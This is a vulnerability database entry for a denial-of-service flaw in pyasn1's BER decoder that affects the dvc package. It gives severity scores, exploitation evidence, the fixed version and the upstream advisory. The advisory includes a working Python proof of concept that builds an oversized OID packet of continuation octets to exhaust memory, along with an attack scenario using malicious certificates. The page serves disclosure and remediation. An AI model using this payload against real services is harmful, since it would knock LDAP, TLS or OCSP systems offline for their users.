VulnerabilityPublished 13 Aug 2026Updated 29 Oct 2026

CVE-2026-23490: Dvc · pyasn1 has a DoS vulnerability in decoder

Affects dvcSource GCVE Database

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Not known to be exploited · CVSS 7.5 High : upgrade to 3.66.1_2 soon.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.7% chance of exploitation in 30 days – higher than 55% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 3.66.1_2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade dvc to 3.66.1_2.

Patches and advisories

Affected software

Product	Affected	Fixed in
Homebrewdvc`pkg:brew/dvc`Other threats	Affected >=3.55.2_1 <3.66.1_2	Fixed in 3.66.1_2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. ### Details The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 ### PoC For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[*] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload) # DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big') # Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB") try: print("[*] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier()) print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes') # Try to convert to string print('[*] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[*] Test completed") ``` Screenshots with the results: #### DoS <img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" /> <img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" /> #### Leak analysis A potential heap leak was investigated but came back clean: ``` [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% ``` ### Scenario 1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. ### Impact This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc. ### Recommendation Add a limit to the allowed bytes in the decoder.

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